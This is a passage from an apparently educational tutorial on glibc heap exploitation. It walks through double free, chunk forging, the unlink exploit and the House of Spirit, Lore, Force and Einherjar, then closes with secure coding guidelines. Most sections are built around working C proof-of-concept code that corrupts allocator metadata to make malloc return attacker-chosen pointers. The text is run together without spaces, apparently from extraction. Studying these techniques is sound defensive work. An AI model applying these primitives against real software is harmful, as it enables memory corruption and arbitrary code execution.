Makingmallocreturnanearlyarbitrarypointer
Forcingfreeingofacraftedfakechunk
HouseofLore
Makingmallocreturnanearlyarbitrarypointer
Disruptingsmallbinlinkstructure
HouseofForce
Makingmallocreturnanearlyarbitrarypointer
Overflowingintotopchunk'sheader
HouseofEinherjar
Makingmallocreturnanearlyarbitrarypointer
Overflowingasinglebyteintothenextchunk
HeapExploitation
26
HeapExploitation
27
First-fitbehaviorThistechniquedescribesthe'first-fit'behaviorofglibc'sallocator.Wheneveranychunk(notafastchunk)isfreed,itendsupintheunsortedbin.InsertionhappensattheHEADofthelist.Onrequestingnewchunks(again,nonfastchunks),initiallyunsortedbinswillbelookedupassmallbinswillbeempty.ThislookupisfromtheTAILendofthelist.Ifasinglechunkispresentintheunsortedbin,anexactcheckisnotmadeandifthechunk'ssize>=theonerequested,itissplitintotwoandreturned.Thisensuresfirstinfirstoutbehavior.
Considerthesamplecode:
char*a=malloc(300);//0x***010
char*b=malloc(250);//0x***150
free(a);
a=malloc(250);//0x***010
Thestateofunsortedbinprogressesas:
1. 'a'freed.head->a->tail
2. 'malloc'request.head->a2->tail['a1'isreturned]
'a'chunkissplitintotwochunks'a1'and'a2'astherequestedsize(250bytes)issmallerthanthesizeofthechunk'a'(300bytes).Thiscorrespondsto[6.iii.]in_int_malloc.
Thisisalsotrueinthecaseoffastchunks.Insteadof'freeing'intounsortedbin,fastchunksendupinfastbins.Asmentionedearlier,fastbinsmaintainasinglylinkedlistandchunksareinsertedanddeletedfromtheHEADend.This'reverses'theorderofchunksobtained.
Considerthesamplecode:
FirstFit
28
char*a=malloc(20);//0xe4b010
char*b=malloc(20);//0xe4b030
char*c=malloc(20);//0xe4b050
char*d=malloc(20);//0xe4b070
free(a);
free(b);
free(c);
free(d);
a=malloc(20);//0xe4b070
b=malloc(20);//0xe4b050
c=malloc(20);//0xe4b030
d=malloc(20);//0xe4b010
Thestateoftheparticularfastbinprogressesas:
1. 'a'freed.head->a->tail
2. 'b'freed.head->b->a->tail
3. 'c'freed.head->c->b->a->tail
4. 'd'freed.head->d->c->b->a->tail
5. 'malloc'request.head->c->b->a->tail['d'isreturned]
6. 'malloc'request.head->b->a->tail['c'isreturned]
7. 'malloc'request.head->a->tail['b'isreturned]
8. 'malloc'request.head->tail['a'isreturned]
Thesmallersizehere(20bytes)ensuredthatonfreeing,chunkswentintofastbinsinsteadoftheunsortedbin.
UseafterFreeVulnerability
FirstFit
29
Intheaboveexamples,weseethat,mallocmightreturnchunksthatwereearlierusedandfreed.Thismakesusingfreedmemorychunksvulnerable.Onceachunkhasbeenfreed,itshouldbeassumedthattheattackercannowcontrolthedatainsidethechunk.Thatparticularchunkshouldneverbeusedagain.Instead,alwaysallocateanewchunk.
Seesamplepieceofvulnerablecode:
char*ch=malloc(20);
//Someoperations
//..
//..
free(ch);
//Someoperations
//..
//..
//Attackercancontrol'ch'
//Thisisvulnerablecode
//Freedvariablesshouldnotbeusedagain
if(*ch=='a'){
//dothis
}
FirstFit
30
DoubleFreeFreeingaresourcemorethanoncecanleadtomemoryleaks.Theallocator'sdatastructuresgetcorruptedandcanbeexploitedbyanattacker.Inthesampleprogrambelow,afastbinchunkwillbefreedtwice.Now,toavoid'doublefreeorcorruption(fasttop)'securitycheckbyglibc,anotherchunkwillbefreedinbetweenthetwofrees.Thisimpliesthatthesamechunkwillbereturnedbytwodifferent'mallocs'.Boththepointerswillpointtothesamememoryaddress.Ifoneofthemisunderthecontrolofanattacker,he/shecanmodifymemoryfortheotherpointerleadingtovariouskindsofattacks(includingcodeexecutions).
Considerthissamplecode:
a=malloc(10);//0xa04010
b=malloc(10);//0xa04030
c=malloc(10);//0xa04050
free(a);
free(b);//Tobypass"doublefreeorcorruption(fasttop)"check
free(a);//DoubleFree!!
d=malloc(10);//0xa04010
e=malloc(10);//0xa04030
f=malloc(10);//0xa04010-Sameas'd'!
Thestateoftheparticularfastbinprogressesas:
1. 'a'freed.head->a->tail
2. 'b'freed.head->b->a->tail
3. 'a'freedagain.head->a->b->a->tail
4. 'malloc'requestfor'd'.head->b->a->tail['a'isreturned]
5. 'malloc'requestfor'e'.head->a->tail['b'isreturned]
6. 'malloc'requestfor'f'.head->tail['a'isreturned]
DoubleFree
31
Now,'d'and'f'pointerspointtothesamememoryaddress.Anychangesinonewillaffecttheother.
Notethatthisparticularexamplewillnotworkifsizeischangedtooneinsmallbinrange.Withthefirstfree,a'snextchunkwillsetthepreviousinusebitas'0'.Duringthesecondfree,asthisbitis'0',anerrorwillbethrown:"doublefreeorcorruption(!prev)"error.
DoubleFree
32
ForgingchunksAfterachunkisfreed,itisinsertedinabinlist.However,thepointerisstillavailableintheprogram.Iftheattackerhascontrolofthispointer,he/shecanmodifythelinkedliststructureinbinsandinserthis/herown'forged'chunk.Thesampleprogramshownbelowshowshowthisispossibleinthecaseoffastbinfreelist.
structforged_chunk{
size_tprev_size;
size_tsize;
structforged_chunk*fd;
structforged_chunk*bck;
charbuf[10];//padding
};
//Firstgrabafastchunk
a=malloc(10);//'a'pointsto0x219c010
//Createaforgedchunk
structforged_chunkchunk;//Ataddress0x7ffc6de96690
chunk.size=0x20;//Thissizeshouldfallinthesamefastbin
data=(char*)&chunk.fd;//Datastartshereforanallocatedchunk
strcpy(data,"attacker'sdata");
//Putthefastchunkbackintofastbin
free(a);
//Modify'fd'pointerof'a'topointtoourforgedchunk
*((unsignedlonglong*)a)=(unsignedlonglong)&chunk;
//Remove'a'fromHEADoffastbin
//OurforgedchunkwillnowbeattheHEADoffastbin
malloc(10);//Willreturn0x219c010
victim=malloc(10);//Pointsto0x7ffc6de966a0
printf("%s\n",victim);//Prints"attacker'sdata"!!
Theforgedchunk'ssizeparameterwassetequalto0x20sothatitpassesthesecuritycheck"malloc():memorycorruption(fast)".Thischeckcheckswhetherthesizeofthechunkfallsintherangeforthatparticularfastbin.Also,notethatthedataforanallocatedchunkstartsfromthe'fd'pointer.Thisisalsoevidentintheaboveprogramasvictimpoints0x10(0x8+0x8)bytesaheadofthe'forgedchunk'.
Thestateoftheparticularfastbinprogressesas:
1. 'a'freed.head->a->tail
Forgingchunks
33
2. a'sfdpointerchangedtopointto'forgedchunk'.head->a->forgedchunk->undefined(fdofforgedchunkwillinfactbeholdingattacker'sdata)
3. 'malloc'requesthead->forgedchunk->undefined
4. 'malloc'requestbyvictimhead->undefined[forgedchunkisreturnedtothevictim]
Notethefollowing:
Another'malloc'requestforthefastchunkinthesamebinlistwillresultinsegmentationfault.Eventhoughwerequestfor10bytesandsetthesizeoftheforgedchunkas32(0x20)bytes,bothfallinthesamefastbinrangeof32-bytechunks.Thisattackforsmallandlargechunkswillbeseenlateras'HouseofLore'.Theabovecodeisdesignedfor64-bitmachines.Toruniton32-bitmachines,replaceunsignedlonglongwithunsignedintaspointersarenow4bytesinsteadof8bytes.Also,insteadofusing32bytesassizeforforgedchunk,asmallofthesizeofaround17bytesshouldwork.
Forgingchunks
34
UnlinkExploitThisparticularattackwasoncequitecommon.However,twosecuritycheckswereaddedintheunlinkMACRO("corruptedsizevs.prev_size"and"corrupteddouble-linkedlist")whichreducedtheimpactoftheattacktosomeextent.Nevertheless,itisworthwhiletospendsometimeonit.ItexploitsthepointermanipulationdoneintheunlinkMACROwhileremovingachunkfromabin.
Considerthissamplecode(downloadthecompleteversionhere):
UnlinkExploit
35
structchunk_structure{
size_tprev_size;
size_tsize;
structchunk_structure*fd;
structchunk_structure*bk;
charbuf[10];//padding
};
unsignedlonglong*chunk1,*chunk2;
structchunk_structure*fake_chunk,*chunk2_hdr;
chardata[20];
//Firstgrabtwochunks(nonfast)
chunk1=malloc(0x80);//Pointsto0xa0e010
chunk2=malloc(0x80);//Pointsto0xa0e0a0
//Assumingattackerhascontroloverchunk1'scontents
//Overflowtheheap,overridechunk2'sheader
//Firstforgeafakechunkstartingatchunk1
//Needtosetupfdandbkpointerstopasstheunlinksecuritycheck
fake_chunk=(structchunk_structure*)chunk1;
fake_chunk->fd=(structchunk_structure*)(&chunk1-3);//EnsuresP->fd->bk==P
fake_chunk->bk=(structchunk_structure*)(&chunk1-2);//EnsuresP->bk->fd==P
//Nextmodifytheheaderofchunk2topassallsecuritychecks
chunk2_hdr=(structchunk_structure*)(chunk2-2);
chunk2_hdr->prev_size=0x80;//chunk1'sdataregionsize
chunk2_hdr->size&=~1;//Unsettingprev_in_usebit
//Now,whenchunk2isfreed,attacker'sfakechunkis'unlinked'
//Thisresultsinchunk1pointerpointingtochunk1-3
//i.e.chunk1[3]nowcontainschunk1itself.
//Wethenmakechunk1pointtosomevictim'sdata
free(chunk2);
chunk1[3]=(unsignedlonglong)data;
strcpy(data,"Victim'sdata");
//Overwritevictim'sdatausingchunk1
chunk1[0]=0x002164656b636168LL;//hexfor"hacked!"
printf("%s\n",data);//Prints"hacked!"
Thismightlookalittlecomplicatedcomparedtootherattacks.First,wemalloctwochunkschunk1andchunk2withsize0x80toensurethattheyfallinthesmallbinrange.Next,weassumethattheattackersomehowhasunboundedcontroloverthecontentsofchunk1(thiscanbeusingany'unsafe'functionsuchasstrcpyonuserinput).Noticethatboththe
UnlinkExploit
36
chunkswilllieinthememorysidebyside.Thecodeshownaboveusescustomstructchunk_structureforclaritypurposesonly.Inanattackscenario,theattackershallsimplysendbytestofillinchunk1thatwouldhavethesameeffectasabove.
Anewfakechunkiscreatedinthe'data'partofchunk1.Thefdandbkpointersareadjustedtopassthe"corrupteddouble-linkedlist"securitycheck.Thecontentsoftheattackerareoverflowedintochunk2'sheaderthatsetsappropriateprev_sizeandprev_in_usebit.Thisensuresthatwheneverchunk2isfreed,thefake_chunkwillbedetectedas'freed'andwillbeunlinked'.Thefollowingdiagramsshowsthecurrentstateofthevariousmemoryregions:
Carefully,trytounderstandhowP->fd->bk==PandP->bk->fd==Pchecksarepassed.Thisshallgiveanintuitionregardinghowtoadjustthefdandbkpointersofthefakechunk.
Assoonaschunk2isfreed,itishandledasasmallbin.Recallthatpreviousandnextchunks(bymemory)arecheckedwhethertheyare'free'ornot.Ifanychunkisdetectedas'free',itisunlinkedforthepurposeofmergingconsecutivefreechunks.TheunlinkMACROexecutesthefollowingtwoinstructionsthatmodifypointers:
1. SetP->fd->bk=P->bk.2. SetP->bk->fd=P->fd.
Inthiscase,bothP->fd->bkandP->bk->fdpointtothesamelocationsoonlythesecondupdateisnoticed.Thefollowingdiagramshowstheeffectsofthesecondupdatejustafterchunk2isfreed.
UnlinkExploit
37
Now,wehavechunk1pointingto3addresses(16-bit)behinditself(&chunk1-3).Hence,chunk1[3]isinfactthechunk1.Changingchunk1[3]islikechangingchunk1.Noticethatanattackerhasagreaterchanceofgettinganopportunitytoupdatedataatlocationchunk1(chunk1[3]here)insteadofchunk1itself.Thiscompletestheattack.Inthisexample,chunk1wasmadetopointtoa'data'variableandchangesthroughchunk1werereflectedonthatvariable.
Earlier,withtheabsenceofsecuritychecksinunlink,thetwowriteinstructionsintheunlinkMACROwereusedtoachievearbitrarywrites.Byoverwriting.gotsections,thisledtoarbitrarycodeexecution.
UnlinkExploit
38
ShrinkingFreeChunksThisattackwasdescribedin'GlibcAdventures:TheForgottenChunk'.Itmakesuseofasinglebyteheapoverflow(commonlyfoundduetothe'offbyone'.Thegoalofthisattackistomake'malloc'returnachunkthatoverlapswithanalreadyallocatedchunk,currentlyinuse.First3consecutivechunksinmemory(a,b,c)areallocatedandthemiddleoneisfreed.Thefirstchunkisoverflowed,resultinginanoverwriteofthe'size'ofthemiddlechunk.Theleastsignificantbyteto0bytheattacker.This'shrinks'thechunkinsize.Next,twosmallchunks(b1andb2)areallocatedoutofthemiddlefreechunk.Thethirdchunk'sprev_sizedoesnotgetupdatedasb+b->sizenolongerpointstoc.It,infact,pointstoamemoryregion'before'c.Then,b1alongwiththecisfreed.cstillassumesbtobefree(sinceprev_sizedidn'tgetupdatedandhencec-c->prev_sizestillpointstob)andconsolidatesitselfwithb.Thisresultsinabigfreechunkstartingfrombandoverlappingwithb2.Anewmallocreturnsthisbigchunk,therebycompletingtheattack.Thefollowingfiguresumsupthesteps:
ShrinkingFreeChunks
39
ImageSource:https://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf
Considerthissamplecode(downloadthecompleteversionhere):
structchunk_structure{
size_tprev_size;
size_tsize;
structchunk_structure*fd;
structchunk_structure*bk;
charbuf[19];//padding
};
void*a,*b,*c,*b1,*b2,*big;
structchunk_structure*b_chunk,*c_chunk;
//Grabthreeconsecutivechunksinmemory
a=malloc(0x100);//at0xfee010
b=malloc(0x200);//at0xfee120
c=malloc(0x100);//at0xfee330
b_chunk=(structchunk_structure*)(b-2*sizeof(size_t));
c_chunk=(structchunk_structure*)(c-2*sizeof(size_t));
//freeb,nowthereisalargegapbetween'a'and'c'inmemory
//bwillendupinunsortedbin
free(b);
//Attackeroverflows'a'andoverwritesleastsignificantbyteofb'ssize
//with0x00.Thiswilldecreaseb'ssize.
*(char*)&b_chunk->size=0x00;
//Allocateanotherchunk
//'b'willbeusedtoservicethischunk.
//c'sprevioussizewillnotupdated.Infact,theupdatewillbedoneafew
//bytesbeforec'sprevioussizeasb'ssizehasdecreased.
//So,b+b->sizeisbehindc.
//cwillassumethatthepreviouschunk(c-c->prev_size=b/b1)isfree
b1=malloc(0x80);//at0xfee120
//Allocateanotherchunk
//Thiswillcomedirectlyafterb1
b2=malloc(0x80);//at0xfee1b0
strcpy(b2,"victim'sdata");
//Freeb1
free(b1);
//Freec
//Thiswillnowconsolidatewithb/b1therebymergingb2withinit
//Thisisbecausec'sprev_in_usebitisstill0anditsprevioussize
//pointstob/b1
ShrinkingFreeChunks
40
free(c);
//Allocateabigchunktocoverb2'smemoryaswell
big=malloc(0x200);//at0xfee120
memset(big,0x41,0x200-1);
printf("%s\n",(char*)b2);//PrintsAAAAAAAAAAA...!
bignowpointstotheinitialbchunkandoverlapswithb2.Updatingcontentsofbigupdatescontentsofb2,evenwhenboththesechunksareneverpassedtofree.
Notethatinsteadofshrinkingb,theattackercouldalsohaveincreasedthesizeofb.Thiswillresultinasimilarcaseofoverlap.When'malloc'requestsanotherchunkoftheincreasedsize,bwillbeusedtoservicethisrequest.Nowc'smemorywillalsobepartofthisnewchunkreturned.
ShrinkingFreeChunks
41
HouseofSpiritTheHouseofSpiritisalittledifferentfromotherattacksinthesensethatitinvolvesanattackeroverwritinganexistingpointerbeforeitis'freed'.Theattackercreatesa'fakechunk',whichcanresideanywhereinthememory(heap,stack,etc.)andoverwritesthepointertopointtoit.Thechunkhastobecraftedinsuchamannersoastopassallthesecuritytests.Thisisnotdifficultandonlyinvolvessettingthesizeandnextchunk'ssize.Whenthefakechunkisfreed,itisinsertedinanappropriatebinlist(preferablyafastbin).Afuturemalloccallforthissizewillreturntheattacker'sfakechunk.Theendresultissimilarto'forgingchunksattack'describedearlier.
Considerthissamplecode(downloadthecompleteversionhere):
structfast_chunk{
size_tprev_size;
size_tsize;
structfast_chunk*fd;
structfast_chunk*bk;
charbuf[0x20];//chunkfallsinfastbinsizerange
};
structfast_chunkfake_chunks[2];//Twochunksinconsecutivememory
//fake_chunks[0]at0x7ffe220c5ca0
//fake_chunks[1]at0x7ffe220c5ce0
void*ptr,*victim;
ptr=malloc(0x30);//Firstmalloc
//Passessizecheckof"free():invalidsize"
fake_chunks[0].size=sizeof(structfast_chunk);//0x40
//Passes"free():invalidnextsize(fast)"
fake_chunks[1].size=sizeof(structfast_chunk);//0x40
//Attackeroverwritesapointerthatisabouttobe'freed'
ptr=(void*)&fake_chunks[0].fd;
//fake_chunks[0]getsinsertedintofastbin
free(ptr);
victim=malloc(0x30);//0x7ffe220c5cb0addressreturnedfrommalloc
HouseofSpirit
42
Noticethat,asexpected,thereturnedpointeris0x10or16bytesaheadoffake_chunks[0].Thisistheaddresswherethefdpointerisstored.Thisattackgivesasurfaceformoreattacks.victimpointstomemoryonthestackinsteadofheapsegment.Bymodifyingthereturnaddressesonthestack,theattackercancontroltheexecutionoftheprogram.
HouseofSpirit
43
HouseofLoreThisattackisbasicallytheforgingchunksattackforsmallandlargebins.However,duetoanaddedprotectionforlargebinsinaround2007(theintroductionoffd_nextsizeandbk_nextsize)itbecameimpractical.Hereweshallseethecaseonlyforsmallbins.First,asmallchunkwillbeplacedinasmallbin.It'sbkpointerwillbeoverwrittentopointtoafakesmallchunk.Notethatinthecaseofsmallbins,insertionhappensattheHEADandremovalattheTAIL.Amalloccallwillfirstremovetheauthenticchunkfromthebinmakingtheattacker'sfakechunkattheTAILofthebin.Thenextmallocwillreturntheattacker'schunk.
Considerthissamplecode(downloadthecompleteversionhere):
HouseofLore
44
structsmall_chunk{
size_tprev_size;
size_tsize;
structsmall_chunk*fd;
structsmall_chunk*bk;
charbuf[0x64];//chunkfallsinsmallbinsizerange
};
structsmall_chunkfake_chunk;//Ataddress0x7ffdeb37d050
structsmall_chunkanother_fake_chunk;
structsmall_chunk*real_chunk;
unsignedlonglong*ptr,*victim;
intlen;
len=sizeof(structsmall_chunk);
//Grabtwosmallchunkandfreethefirstone
//Thischunkwillgointounsortedbin
ptr=malloc(len);//pointstoaddress0x1a44010
//Thesecondmalloccanbeofrandomsize.Wejustwantthat
//thefirstchunkdoesnotmergewiththetopchunkonfreeing
malloc(len);//pointstoaddress0x1a440a0
//Thischunkwillendupinunsortedbin
free(ptr);
real_chunk=(structsmall_chunk*)(ptr-2);//pointstoaddress0x1a44000
//Grabanotherchunkwithgreatersizesoastopreventgettingback
//thesameone.Also,thepreviouschunkwillnowgofromunsortedto
//smallbin
malloc(len+0x10);//pointstoaddress0x1a44130
//Maketherealsmallchunk'sbkpointerpointto&fake_chunk
//Thiswillinsertthefakechunkinthesmallbin
real_chunk->bk=&fake_chunk;
//andfake_chunk'sfdpointtothesmallchunk
//Thiswillensurethat'victim->bk->fd==victim'fortherealchunk
fake_chunk.fd=real_chunk;
//Wealsoneedthis'victim->bk->fd==victim'testtopassforfakechunk
fake_chunk.bk=&another_fake_chunk;
another_fake_chunk.fd=&fake_chunk;
//Removetherealchunkbyastandardcalltomalloc
malloc(len);//pointsataddress0x1a44010
//Nextmallocforthatsizewillreturnthefakechunk
victim=malloc(len);//pointsataddress0x7ffdeb37d060
HouseofLore
45
Noticethatthestepsneededforforgingasmallchunkaremoreduetothecomplicatedhandlingofsmallchunks.Particularcarewasneededtoensurethatvictim->bk->fdequalsvictimforeverysmallchunkthatistobereturnedfrom'malloc',topassthe"malloc():smallbindoublelinkedlistcorrupted"securitycheck.Also,extra'malloc'callswereaddedinbetweentoensurethat:
1. Thefirstchunkgoestotheunsortedbininsteadofmergingwiththetopchunkonfreeing.
2. Thefirstchunkgoestothesmallbinasitdoesnotsatisfyamallocrequestforlen+0x10.
Thestateoftheunsortedbinandthesmallbinareshown:
1. free(ptr).Unsortedbin:
head<->ptr<->tail
Smallbin:
head<->tail
2. malloc(len+0x10);Unsortedbin:
head<->tail
Smallbin:
head<->ptr<->tail
3. PointermanipulationsUnsortedbin:
head<->tail
Smallbin:
undefined<->fake_chunk<->ptr<->tail
4. malloc(len)Unsortedbin:
head<->tail
Smallbin:
undefined<->fake_chunk<->tail
5. malloc(len)Unsortedbin:
head<->tail
Smallbin:
HouseofLore
46
undefined<->tail[Fakechunkisreturned]
Notethatanother'malloc'callforthecorrespondingsmallbinwillresultinasegmentationfault.
HouseofLore
47
HouseofForceSimilarto'HouseofLore',thisattackfocusesonreturninganarbitrarypointerfrom'malloc'.Forgingchunksattackwasdiscussedforfastbinsandthe'HouseofLore'attackwasdiscussedforsmallbins.The'HouseofForce'exploitsthe'topchunk'.Thetopmostchunkisalsoknownasthe'wilderness'.Itborderstheendoftheheap(i.e.itisatthemaximumaddresswithintheheap)andisnotpresentinanybin.Itfollowsthesameformatofthechunkstructure.
Thisattackassumesanoverflowintothetopchunk'sheader.Thesizeismodifiedtoaverylargevalue(-1inthisexample).Thisensuresthatallinitialrequestswillbeservicesusingthetopchunk,insteadofrelyingonmmap.Ona64bitsystem,-1evaluatesto0xFFFFFFFFFFFFFFFF.Achunkwiththissizecancovertheentirememoryspaceoftheprogram.Letusassumethattheattackerwishes'malloc'toreturnaddressP.Now,anymalloccallwiththesizeof:&top_chunk-Pwillbeservicedusingthetopchunk.NotethatPcanbeafterorbeforethetop_chunk.Ifitisbefore,theresultwillbealargepositivevalue(becausesizeisunsigned).Itwillstillbelessthan-1.Anintegeroverflowwilloccurandmallocwillsuccessfullyservicethisrequestusingthetopchunk.Now,thetopchunkwillpointtoPandanyfuturerequestswillreturnP!
Considerthissamplecode(downloadthecompleteversionhere):
HouseofForce
48
//Attackerwillforcemalloctoreturnthispointer
charvictim[]="Thisisvictim'sstringthatwillreturnedbymalloc";//At0x601060
structchunk_structure{
size_tprev_size;
size_tsize;
structchunk_structure*fd;
structchunk_structure*bk;
charbuf[10];//padding
};
structchunk_structure*chunk,*top_chunk;
unsignedlonglong*ptr;
size_trequestSize,allotedSize;
//First,requestachunk,sothatwecangetapointertotopchunk
ptr=malloc(256);//At0x131a010
chunk=(structchunk_structure*)(ptr-2);//At0x131a000
//lowerthreebitsofchunk->sizeareflags
allotedSize=chunk->size&~(0x1|0x2|0x4);
//topchunkwillbejustnextto'ptr'
top_chunk=(structchunk_structure*)((char*)chunk+allotedSize);//At0x131a110
//here,attackerwilloverflowthe'size'parameteroftopchunk
top_chunk->size=-1;//Maximumsize
//Mightresultinanintegeroverflow,doesn'tmatter
requestSize=(size_t)victim//Thetargetaddressthatmallocshouldreturn
-(size_t)top_chunk//Thepresentaddressofthetopchunk
-2*sizeof(longlong)//Sizeof'size'and'prev_size'
-sizeof(longlong);//Additionalbuffer
//Thisalsoneedstobeforcedbytheattacker
//Thiswilladvancethetop_chunkaheadby(requestSize+header+additionalbuffer)
//Makingitpointto'victim'
malloc(requestSize);//At0x131a120
//Thetopchunkagainwillservicetherequestandreturn'victim'
ptr=malloc(100);//At0x601060!!(Sameas'victim')
'malloc'returnedanaddresspointingtovictim.
Notethefollowingthingsthatweneedtotakecare:
1. Whilededucingtheexactpointertotop_chunk,0outthethreelowerbitsofthepreviouschunktoobtaincorrectsize.
2. WhilecalculatingrequestSize,anadditionalbufferofaround8byteswasreduced.
HouseofForce
49
Thiswasjusttocountertheroundingupmallocdoeswhileservicingchunks.Incidentally,inthiscase,mallocreturnsachunkwith8additionalbytesthanrequested.Noticethatthisismachinedependent.
3. victimcanbeanyaddress(onheap,stack,bss,etc.).
HouseofForce
50
HouseofEinherjarThishouseisnotpartof"TheMallocMaleficarum".ThisheapexploitationtechniquewasgivenbyHirokiMatsukumain2016.Thisattackalsorevolvesaroundmaking'malloc'returnanearlyarbitrarypointer.Unlikeotherattacks,thisrequiresjustasinglebyteofoverflow.Thereexistsmuchmoresoftwarevulnerabletoasinglebyteofoverflowmainlyduetothefamous"offbyone"error.Itoverwritesintothe'size'ofthenextchunkinmemoryandclearsthePREV_IN_USEflagto0.Also,itoverwritesintoprev_size(alreadyinthepreviouschunk'sdataregion)afakesize.Whenthenextchunkisfreed,itfindsthepreviouschunktobefreeandtriestoconsolidatebygoingback'fakesize'inmemory.Thisfakesizeissocalculatedsothattheconsolidatedchunkendsupatafakechunk,whichwillbereturnedbysubsequentmalloc.
Considerthissamplecode(downloadthecompleteversionhere):
HouseofEinherjar
51
structchunk_structure{
size_tprev_size;
size_tsize;
structchunk_structure*fd;
structchunk_structure*bk;
charbuf[32];//padding
};
structchunk_structure*chunk1,fake_chunk;//fakechunkisat0x7ffee6b64e90
size_tallotedSize;
unsignedlonglong*ptr1,*ptr2;
char*ptr;
void*victim;
//Allocateanychunk
//Theattackerwilloverflow1bytethroughthischunkintothenextone
ptr1=malloc(40);//at0x1dbb010
//Allocateanotherchunk
ptr2=malloc(0xf8);//at0x1dbb040
chunk1=(structchunk_structure*)(ptr1-2);
allotedSize=chunk1->size&~(0x1|0x2|0x4);
allotedSize-=sizeof(size_t);//Heapmetadatafor'prev_size'ofchunk1
//Attackerinitiatesaheapoverflow
//Offbyoneoverflowofptr1,overflowsintoptr2's'size'
ptr=(char*)ptr1;
ptr[allotedSize]=0;//ZeroesoutthePREV_IN_USEbit
//Fakechunk
fake_chunk.size=0x100;//enoughsizetoservicethemallocrequest
//Thesetwowillensurethatunlinksecuritycheckspass
//i.e.P->fd->bk==PandP->bk->fd==P
fake_chunk.fd=&fake_chunk;
fake_chunk.bk=&fake_chunk;
//Overwriteptr2'sprev_sizesothatptr2'schunk-prev_sizepointstoourfakechunk
//Thisfallswithintheboundsofptr1'schunk-noneedtooverflow
*(size_t*)&ptr[allotedSize-sizeof(size_t)]=
(size_t)&ptr[allotedSize-sizeof(size_t)]//ptr2's
chunk
-(size_t)&fake_chunk;
//Freethesecondchunk.Itwilldetectthepreviouschunkinmemoryasfreeandtry
//tomergewithit.Now,topchunkwillpointtofake_chunk
free(ptr2);
victim=malloc(40);//Returnsaddress0x7ffee6b64ea0!!
HouseofEinherjar
52
Notethefollowing:
1. Thesecondchunk'ssizewasgivenas0xf8.Thissimplyensuredthattheactualchunk'ssizehastheleastsignificantbyteas0(ignoringtheflagbits).Hence,itwasasimplemattertosetthepreviousinusebitto0withoutchangingthesizeofthischunk.
2. TheallotedSizewasfurtherdecreasedbysizeof(size_t).allotedSizeisequaltothesizeofthecompletechunk.However,thesizeallowedfordataissizeof(size_t)less,ortheequivalentofthesizeparameterintheheap.Thisisbecausesizeandprev_sizeofthecurrentchunkcannotbeused,buttheprev_sizeofthenextchunkcanbeused.
3. Fakechunk'sforwardandbackwardpointerswereadjustedtopassthesecuritycheckinunlink.
HouseofEinherjar
53
SecureCodingGuidelinesAlloftheattacksmentionedaboveareonlypossiblewhenthewriterofthecodemakeshis/herownassumptionsofthevariousfunctionsprovidedbyglibc'sAPI.Forexample,developersmigratingfromotherlanguagessuchasJava,etc.assumethatitisthedutyofthecompilertodetectoverflowsduringruntime.
Here,somesecurecodingguidelinesarepresented.Ifthesoftwareisdevelopedkeepingtheseinmind,itwillpreventthepreviouslymentionedattacks:
1. Useonlytheamountofmemoryaskedusingmalloc.Makesurenottocrosseitherboundary.
2. Freeonlythememorythatwasdynamicallyallocatedexactlyonce.3. Neveraccessfreedmemory.4. AlwayscheckthereturnvalueofmallocforNULL.
Theabove-mentionedguidelinesaretobefollowedstrictly.Belowaresomeadditionalguidelinesthatwillhelptofurtherpreventattacks:
1. Aftereveryfree,re-assigneachpointerpointingtotherecentlyfreedmemorytoNULL.2. Alwaysreleaseallocatedstorageinerrorhandlers.3. Zerooutsensitivedatabeforefreeingitusingmemset.4. Donotmakeanyassumptionregardingthepositioningofthereturnedaddressesfrom
malloc.
HappyCoding!
SecureCodingGuidelines
54